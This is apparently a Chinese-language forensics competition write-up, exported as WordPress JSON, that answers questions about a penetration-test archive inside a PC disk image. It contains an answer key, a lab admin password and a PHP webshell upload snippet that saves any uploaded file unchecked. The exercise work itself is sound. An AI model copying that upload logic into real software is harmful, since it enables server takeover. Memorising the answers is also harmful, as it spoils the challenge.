\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6570\u636e\u5e93\u7269\u7406\u8def\u5f84\u83b7\u53d6\u653b\u51fb\u8005\u901a\u8fc7 generate_data.php \u5f97\u77e5\u6570\u636e\u5e93\u5728\u670d\u52a1\u5668\u4e0a\u7684\u7edd\u5bf9\u7269\u7406\u8def\u5f84\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a\/xxx\/xxx\/xxx.db]<\/p>\n\n\n\n
\/var\/www\/html\/address_book.db<\/strong><\/p>\n\n\n\n
\u6e17\u900f\u6d4b\u8bd5\u62a5\u544a_192.168.61.135.md\u91cc\u9762<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
45<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cWebshell \u4e0b\u8f7d\u53c2\u6570\u903b\u8f91\u6e90\u7801\u4e2d\u901a\u8fc7\u8bbe\u7f6e\u54ea\u4e2a Header \u5b9e\u73b0\u6d4f\u89c8\u5668\u81ea\u52a8\u5f39\u51fa\u4e0b\u8f7d\u6846\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aContent-xxx]<\/p>\n\n\n\n
Content-Disposition<\/strong><\/p>\n\n\n\n
\u56e0\u4e3a\u8fd9\u91cc\u6d89\u53ca\u5230header\u4f2a\u9020\uff0c\u6240\u4ee5\u6211\u4eec\u53bb\u7a0b\u5e8f\u91cc\u9762\u627e<\/p>\n\n\n\n
\u5728file-shell.php\u91cc\u8fb9\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
46<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u8eab\u4efd\u9a8c\u8bc1\u7b56\u7565\u8bc4\u4f30\u7cfb\u7edf\u4e2d\u5b58\u5728\u7684\u5f31\u5bc6\u7801\u7b56\u7565\u6f0f\u6d1e\u4e0d\u5305\u62ec\u54ea\u9879\uff1f[\u7b54\u6848\u683c\u5f0f\uff1auser\/pass]<\/p>\n\n\n\n
admin\/Str0ngP@ssw0rd2026!<\/strong><\/p>\n\n\n\n
\u6839\u636e\u201c\u5f31\u5bc6\u7801\u201d\u6f0f\u6d1e\u6e05\u5355\u91cc\u9762<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u4e4b\u524d\u7684db\u91cc\u9762\u53ef\u4ee5\u770b\u5230\u975e\u5f31\u5bc6\u7801\u7684Str0ngP@ssw0rd2026!<\/strong>\uff0c\u5bf9\u5e94\u7684\u662fadmin<\/p>\n\n\n\n
47<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cAPI \u73af\u5883\u4ea4\u4e92\u65e5\u5fd7\u4ef7\u503c\u672a\u6388\u6743\u8bbf\u95ee8000\u7aef\u53e3\u65e5\u5fd7\u63a5\u53e3\uff0c\u6700\u53ef\u80fd\u5bfc\u81f4\u54ea\u7c7b\u654f\u611f\u4fe1\u606f\u6cc4\u9732\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a\/api\/xxx]<\/p>\n\n\n\n
\/api\/logs<\/strong><\/p>\n\n\n\n
\uff08\u540c34\u9898\uff09<\/p>\n\n\n\n
48<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u653b\u51fb\u8def\u5f84\u903b\u8f91\u63a8\u6f14\u653b\u51fb\u8005\u83b7\u53d6\u6301\u4e45\u8bbf\u95ee\u6743\u9650\u7684\u6700\u5178\u578b\u65b9\u5f0f\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1axxx.php]<\/p>\n\n\n\n
file_shell.php<\/strong><\/p>\n\n\n\n
\u9996\u5148\u76ee\u524d\u53ea\u770b\u5230\u4e86\u4e00\u4e2aphp\u6587\u4ef6\uff0c\u53ef\u4ee5\u76f4\u63a5\u52c7\u6562\u8005\u6e38\u620f<\/p>\n\n\n\n
\u5176\u6b21\uff0c\u5728\u6e17\u900f\u6d4b\u8bd5\u62a5\u544a\u91cc\u9762\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
49<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6f0f\u6d1e CVE \u7f16\u53f7\u8bc6\u8bfb\u88ab\u6807\u8bc6\u4e3a\u672a\u6388\u6743\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u7684\u865a\u62dfCVE\u7f16\u53f7\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aCVE-XXXX-XXXX]<\/p>\n\n\n\n
CVE-2026-0002<\/strong><\/p>\n\n\n\n
\u6e17\u900f\u62a5\u544a\u91cc\u9762\u53ef\u4ee5\u627e\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
50<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u7cfb\u7edf\u4fee\u590d\u4f18\u5148\u7ea7\u7814\u522424\u5c0f\u65f6\u7d27\u6025\u52a0\u56fa\u4e2d\uff0c\u54ea\u9879\u4e0d\u5c5e\u4e8e\u7acb\u5373\u4fee\u590d\u7ea7\u522b\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aABC]<\/p>\n\n\n\n
WAF<\/strong><\/p>\n\n\n\n
\u5728\u6f0f\u6d1e\u6e05\u5355\u91cc\u9762\u641c\u7d22\u201c\u4fee\u590d\u5efa\u8bae\u4f18\u5148\u7ea7\u201d<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
51<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u7ba1\u7406\u5458\u51ed\u636e\u6709\u6548\u6027\u9a8c\u8bc1\u5229\u7528\u7ba1\u7406\u5458\u5bc6\u7801\uff0c\u653b\u51fb\u8005\u5728\u54ea\u4e2a\u9875\u9762\u65f6\u624d\u80fd\u751f\u6548\uff1f[\u7b54\u6848\u683c\u5f0f\uff1axxx.php]<\/p>\n\n\n\n
tools.php<\/strong><\/p>\n\n\n\n
\u5728\u8fd9\u4e2a\u6e05\u5355\u7684\u653b\u51fb\u94fe\u91cc<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
52<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u672c\u7cfb\u7edf\u4f7f\u7528\u7684\u540e\u7aef\u6570\u636e\u5e93\u6280\u672f\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aDB_name]<\/p>\n\n\n\n
SQLite<\/strong><\/p>\n\n\n\n
\u5728\u6f0f\u6d1e\u6e05\u5355\u91cc\u67e5\u770b\u7cfb\u7edf\u4fe1\u606f<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
53<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cWebshell \u76ee\u5f55\u5904\u7406\u903b\u8f91\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\u4e2d\uff0c\u6e90\u7801\u5c06\u4e0a\u4f20\u540e\u7684\u6587\u4ef6\u547d\u540d\u4e3a\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a$_xxx]<\/p>\n\n\n\n
$_FILES['file']['name']<\/code><\/strong><\/strong><\/p>\n\n\n\n
\u770b\u5230$_XXX\uff0c\u662fPHP\u91cc\u9762\u7684\u683c\u5f0f\uff0c\u6240\u4ee5\u67e5\u770bflie_shell.php\u6587\u4ef6<\/p>\n\n\n\n
if(isset($_FILES['file'])) {\n    $target = basename($_FILES['file']['name']);\n    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {\n        echo \"File uploaded: $target<br>\";\n    }\n}<\/code><\/pre>\n\n\n\n
\u90e8\u5206<\/th>\u542b\u4e49<\/th><\/tr><\/thead>
$_FILES['file']<\/code><\/td>PHP \u8d85\u5168\u5c40\u6570\u7ec4\uff0c\u63a5\u6536\u4e0a\u4f20\u6587\u4ef6\u7684\u4fe1\u606f<\/td><\/tr>
['name']<\/code><\/td>\u83b7\u53d6\u4e0a\u4f20\u6587\u4ef6\u7684\u539f\u59cb\u6587\u4ef6\u540d<\/strong>\uff08\u5982 shell.php<\/code>\uff09<\/td><\/tr>
basename()<\/code><\/td>\u63d0\u53d6\u8def\u5f84\u4e2d\u7684\u6587\u4ef6\u540d\u90e8\u5206<\/strong>\uff0c\u53bb\u6389\u76ee\u5f55\u8def\u5f84<\/td><\/tr>
$target<\/code><\/td>\u6700\u7ec8\u4fdd\u5b58\u7684\u76ee\u6807\u6587\u4ef6\u540d<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
54<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u76ee\u6807\u7cfb\u7edf\u8fd0\u884c\u7684 Apache \u5177\u4f53\u7248\u672c\u53f7\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1ax.x.xx]<\/p>\n\n\n\n
\u5728\u6f0f\u6d1e\u6e05\u5355\u91cc\u9762<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
55<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6839\u636e\u901a\u8baf\u5f55\u7ba1\u7406\u7cfb\u7edf\u6f0f\u6d1e\u6e05\u5355\uff0cCVE-2026-0001\uff08\u654f\u611f\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e\uff09\u7684CVSS\u8bc4\u5206\u662f\u591a\u5c11\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a1.2]<\/p>\n\n\n\n
9.8<\/strong><\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
56<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u653b\u51fb\u8005\u6700\u7ec8\u83b7\u53d6\u4e86\u4ec0\u4e48\u89d2\u8272\u7684\u6743\u9650\uff1f[\u7b54\u6848\u683c\u5f0f\uff1axxx-xxx]<\/p>\n\n\n\n
www-data<\/strong>
\u5728\u6e17\u900f\u6d4b\u8bd5\u62a5\u544a\u91cc\u9762<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n

<\/p>\n\n\n\n

<\/p>\n\n\n\n
\u81f3\u6b64\uff0c\u8ba1\u7b97\u673a\u90e8\u5206-\u5b8c<\/p>\n","protected":false},"excerpt":{"rendered":"
\u9ec4\u5fd7\u8fdc\uff1a \u4e00\u4e2aPC\u955c\u50cf \u788e\u788e\u5ff5 \u8fd9\u4e2a\u662f\u600e\u4e48\u505a\u5f97\u5230\u4e00\u4e2aVC\u52a0\u5bc6\u6309\u4e0d\u540c\u65b9\u5f0f\u89e3\u5bc6\u7684\u51fa\u6765\u4e0d\u540c\u7684\u52a0\u5bc6\u6587\u4ef6\u7684\uff01\uff01\uff01\u597d\u795e\u5947\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":1470,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_gspb_post_css":"","footnotes":""},"categories":[12],"tags":[],"class_list":["post-1428","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-12"],"_links":{"self":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/1428","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/comments?post=1428"}],"version-history":[{"count":127,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/1428\/revisions"}],"predecessor-version":[{"id":1809,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/1428\/revisions\/1809"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media\/1470"}],"wp:attachment":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media?parent=1428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/categories?post=1428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/tags?post=1428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}